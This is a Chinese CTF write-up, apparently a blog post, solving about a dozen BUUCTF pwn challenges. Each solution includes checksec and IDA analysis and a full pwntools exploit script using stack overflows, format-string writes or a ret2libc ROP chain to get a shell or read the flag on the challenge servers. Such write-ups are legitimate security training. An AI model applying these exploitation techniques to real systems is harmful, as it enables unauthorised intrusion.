test_your_nc 1
1. checkesc ,检测文件的保护机制.
1 2
| 进入pwn环境,我的pwn环境在py3.12.7的虚拟环境里 checksec test https://blog.csdn.net/weixin_42072280/article/details/90229294
|

1 2 3 4 5 6 7 8
| 1.Relro:Full Relro(重定位表只读) Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。 2.Stack:No Canary found(能栈溢出) Canary, 金丝雀。金丝雀原来是石油工人用来判断气体是否有毒。而应用于在栈保护上则是在初始化一个栈帧时在栈底(stack overflow 发生的高位区域的尾部)设置一个随机的 canary 值,当函数返回之时检测 canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生,若改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。 因此我们需要获取 Canary 的值,或者防止触发 stack_chk_fail 函数,或是利用此函数。 3.NX: NX enable(不可执行内存) Non-Executable Memory,不可执行内存。了解 Linux 的都知道其文件有三种属性,即 rwx,而 NX 即没有 x 属性。如果没有 w 属性,我们就不能向内存单元中写入数据,如果没有 x 属性,写入的 shellcode 就无法执行。所以,我们此时应该使用其他方法来 pwn 掉程序,其中最常见的方法为 ROP (Return-Oriented Programming 返回导向编程),利用栈溢出在栈上布置地址,每个内存地址对应一个 gadget,利用 ret 等指令进行衔接来执行某项功能,最终达到 pwn 掉程序的目的。 4.PIE: PIE enable(开启ASLR 地址随机化) Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。
|
2.静态分析,用IDA打开文件
1
| 按下shift+f12,打开string window
|

1
| 双击/bin/sh, 点击command,然后键盘按一下X,发现/bin/sh的address在main
|



1
| 那我们直接nc连接一下 nc node5.buuoj.cn 25353
|

2.rip1
1. checkesc ,检测文件的保护机制.

1
| 意思说没有任何保护,程序是64位的,直接拿出IDA
|

1 2 3
| 诶我去,还不太一样,连接上之后发现输入内容会直接端口,再拿出IDA看看 输入的字符串传给s,用puts输出出来,然后return 0
|

1
| 查到的/bin/sh是在fun函数里 通过栈溢出把返回地址改成这个fun函数的地址就行了(0x401186
|


1 2 3
| 算偏移量 看地址算偏移量 点进去main函数里的输入字符串s,看到一共15个字节,就是s能传15个字符。双击s进去再看看发现2个s之间有15个db
|

1
| 因此再回来看fun()函数,就是一个系统调用,故payload=‘a’ * 15 + p64(0x401186)
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| payload
from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 27430) #elf =ELF("pwn1") #fun_addr=elf.symbols['fun'] #buf_1= b'a' * 15 + p64(fun_addr)
#p.recvuntil("please input") #这道题不知道为啥recvuntil报连接超时。。
#buf_1 = b'a' * (0xf + 0x8) + p64(0x401198) + p64(0x401186) #也可以,是网上wp的修改
buf_1 = b'a' * 15 + p64(0x401186) # gdb.attach(p)
p.sendline(buf_1)
p.interactive()
|
3.warmup_csaw_20161
1. checkesc ,检测文件的保护机制.

1 2
| 没有保护 直接IDA看,看到了cat flag,函数是sub_40060D() 如果我们能栈溢出到这里就ok了
|


1
| 我们点击main函数中gets存放输入数据的变量 s[64]
|


1 2
| 这里s-r的8位存的是rbp地址。r就是存返回地址并进行返回。 v5大小为0x40,s到r有0x8,也就是我们需要注入(0x40 + 0x8)字节的数据,并在最后输入地址运行我们想要运行的函数。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| exp from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 28884) #elf =ELF("pwn1") #fun_addr=elf.symbols['fun']
sub_40060D=0x40060D payload = b'a' * (0x40 + 0x8) + p64(sub_40060D) # gdb.attach(p)
p.sendline(payload)
p.interactive()
|

4.ciscn_2019_n_1
1
| 1. checkesc ,检测文件的保护机制. 发现有NX NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA
|




1
| v1的地址信息包含了v2,那么只要输入长字符,然后溢出更改v2的值就好了.v1的首地址和v2的首地址相差44位,发生44个a然后再发送11.28125的16进制数0x41348000
|
1
| payload=b"a"*44 +p64(0x41348000)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 29899) #elf =ELF("pwn1") #fun_addr=elf.symbols['fun']
payload=b"a"*44 +p64(0x41348000) # gdb.attach(p)
p.sendline(payload)
p.interactive()
|
5.pwn1_sctf_2016
1
| 1. checkesc ,检测文件的保护机制.,发现是32位的,用32位的ida打开
|


1 2 3
| 注意看这个fgets函数,最高接受32个字节.另外我们发现get_flag函数 s距离栈底是0x3c也就是60个字节.这根本溢不过去 看上面的代码 程序把用户输入的I换成you。那就是说会自动帮我们把1字节变3字节,我们可以利用填充I来让程序自动填充到返回地址前。s距离ebp是0x3c也就是60个字节,那么我们填充20个I再加4个字节填充接着拼接我们的后门地址。 payload=b'I'*20+b'A'*4 + p32(get_flag_addr)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 27173) elf = ELF("./pwn1_sctf_2016") get_flag_addr = elf.symbols["get_flag"] #print (get_flag_addr) payload=b'I'*20+b'A'*4 + p32(get_flag_addr) # gdb.attach(p)
p.sendline(payload)
p.interactive()
|
6.jarvisoj_level0

1 2 3
| 没有保护,拖入IDA64 找到callsystem函数 callsystem_addr = elf.symbols["callsystem"]这样就不需要用IDA苦苦去找了 然后发现了main函数,返回一个vulnerable_function函数,中文名就是有漏洞的函数hhhhh,进去看看
|

1 2 3 4
| 双击进来,发现read 是一个危险函数,第一个参数是0说明是写东西(这里就是往buf里写东西)第三个参数是写的字节数是0x200,buf距离栈底才0x80个字节但要往里写0x200个字节,妥妥的栈溢出。 那就是0x80+0x8个字节的垃圾数据(不知道说过没,没说就补充一下,说了的话大家就假装没看见。64位的ebp是8个字节,32位的ebp是4个字节) payload = b'A'*(0x80+0x8)+p64(callsystem_addr)
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
p = remote('node5.buuoj.cn', 27865) elf = ELF("./level0") callsystem_addr = elf.symbols["callsystem"]
payload = b'A'*(0x80+0x8)+p64(callsystem_addr)
p.sendline(payload) p.sendline(b'cat flag') p.interactive()
|
[第五空间2019 决赛]PWN5
1
| 1. checkesc ,检测文件的保护机制. 发现有NX NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA
|


1 2 3
| 找到权限函数,现在就看怎么用才能溢出 大体意思是从文件中读取4个字节的数据到unk_804C044变量中,作为用户名name,之后输出提示信息"your passwd:",再输入密码,并与unk_804C044进行比较,如果两者相等,执行system("/bin/sh")命令,进入system函数 利用格式化字符串漏洞,我们在终端上运行该函数,输入./pwn,回车,为确定格式化字符串与实际运行的函数的距离(即偏移量)再输入AAAA.%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,显示如下图,因为A为字符数据,%x为格式化输出十六进制的数据,转化为A的ASCⅡ代码是65,十六进制下为0x41,四个A即为0x41414141,数一下离我们输入的AAAA有十个数据,则说明偏移量是10。
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 28471) #elf =ELF("pwn1") #fun_addr=elf.symbols['fun']
payload=p32(0x804C044)+b'%10$n' # gdb.attach(p)
p.recvuntil(':') p.sendline(payload) p.recvuntil(':') p.sendline(str(4)) p.sendline(b'cat flag') p.interactive()
开始难起来了,哎~
|
jarvisoj_level2
1
| 1. checkesc ,检测文件的保护机制. 发现有NX NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA
|


1
| 这跟上面有个题有些像,read,距离ebp 有88h大小,双击buf,找到r代表的read函数本身覆盖大小,是4h。
|

1
| 返回主函数,双击system,得到下方界面的地址0x8048320。作为覆盖的第一个地址。
|

1
| payload=b'a'*(0x88+0x4)+p32(0x8048320)+p32(1)+p32(0x804A024)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 29104) #elf =ELF("pwn1") #fun_addr=elf.symbols['fun']
payload=b'a'*(0x88+0x4)+p32(0x8048320)+p32(1)+p32(0x804A024) # gdb.attach(p)
#p.recvuntil(':') p.sendline(payload) #p.recvuntil(':') #p.sendline(str(4)) p.sendline(b'cat flag') p.interactive()
|
ciscn_2019_n_8
1
| 1. checkesc ,检测文件的保护机制. emmmm,都开了,拿出ida看看吧
|


1 2
| 把代码放ai里看看是什么意思 可以看出利用的是格式化字符串的漏洞,需要我们修改var地址往下数第十四个,类似是数组的结构到var[13]为17,并且为LL就是long long int八个字节,,相当于64位的数据'\x11\x00\x00\x00\x00\x00\x00\x00'。
|
1
| payload=b'aaaa'*13+p64(17)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import *
#p = process('./pwn1') p = remote('node5.buuoj.cn', 27769) #elf =ELF("pwn1") #fun_addr=elf.symbols['fun']
payload=b'aaaa'*13+p64(17) # gdb.attach(p)
#p.recvuntil(':') p.sendline(payload) #p.recvuntil(':') #p.sendline(str(4)) p.sendline(b'cat flag') p.interactive()
|
bjdctf_2020_babystack
1
| 1. checkesc ,检测文件的保护机制. 发现有NX NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA
|


1 2
| 看了主函数 scanf会读入一个用户输入的数赋值给nbytes ,然后read会读取nbytes大小的字符,也就是说我们可以任意溢出长度
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
p = remote("node5.buuoj.cn",27291) elf = ELF("./bjdctf_2020_babystack") context(log_level="debug",arch="amd64") backdoor = elf.symbols["backdoor"] ret = 0x0000000000400561
print(backdoor)
p.sendlineafter(b"Please input the length of your name:","100")
payload = b"a"*16 + b"b"*8 + p64(ret) + p64(backdoor) payload = flat(["a"*16,"b"*8,ret,backdoor])
p.sendlineafter("What's u name?",payload) p.sendline(b'cat flag') p.interactive()
|
ciscn_2019_c_1
1
| 1. checkesc ,检测文件的保护机制. 发现有NX NX enable(不可执行内存)。但是对我们做题影响不大,依然是栈溢出,拿出IDA
|

1 2 3
| 程序就是加解密的,没有发现callsystem后门函数,开了NX需要自己构造ROP链 基本思路:encrypt()里面的get()可以溢出,栈大小为50h-offest=0x50+8。puts()可以用来泄露libc基址。 通过Ropgadget找到pop_rdi_rdi地址:0x400c83
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| 这里选0 from pwn import* from LibcSearcher import * p=remote("node5.buuoj.cn",29875) elf=ELF("./ciscn_2019_c_1") ret=0x400c83 plt=elf.plt['puts'] got=elf.got['puts'] main_addr=0x400B28 p.recv() p.sendline("1") p.recvuntil("encrypted\n") payload=flat("a"*0x58)+p64(ret)+p64(got)+p64(plt)+p64(main_addr) p.sendline(payload) p.recvuntil("Ciphertext\n") p.recvuntil("\n") addr=u64(p.recv(6).ljust(0x8,b"\x00")) libc=LibcSearcher("puts",addr) libcbase=addr-libc.dump("puts") print(libcbase)
p.recv() p.sendline(b"1") p.recvuntil(b"encrypted\n") sys_addr=libcbase+libc.dump('system') bin_sh=libcbase+libc.dump('str_bin_sh') res=0x4006b9 payload2=b"a"*0x58+p64(res)+p64(ret)+p64(bin_sh)+p64(sys_addr) p.sendline(payload2) p.sendline(b'cat flag') p.interactive()
真难
|
get_started_3dsctf_2016
1 2
| 不会了,直接放大佬blog:https://www.cnblogs.com/lyxf/p/12113401.html 1. checkesc ,检测文件的保护机制. 可以栈溢出,地址写死了。 拿出IDA
|


1 2 3 4 5 6 7
| 函数是get_flag 有4个注意点 1.打远程的时候他将会判断参数是否合规,因此我们要构造get_flag的参数的正确性。 2.这题在main函数开始的时候没有压入ebp,因此计算溢出位置不用覆盖ebp。也就是说以前的old_ebp的位置变成了现在的返回地址。 3.不需要interactive去交互,需要用recv去接收flag。(一开始没搞明白程序卡在这) 4.构造垃圾数据不用b‘a',打不通。直接'a'就行了
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * p=remote('node5.buuoj.cn',28424)
context.log_level = 'debug' get_flag=0x80489A0 arg_1=0x308CD64F arg_2=0x195719D1 exit=0x0804E6A0 payload=b'a'*0x38+p32(get_flag)+p32(exit)+p32(arg_1)+p32(arg_2) p.sendline(payload) p.recv()
|
Slogan:
Do you believe in DESTINY?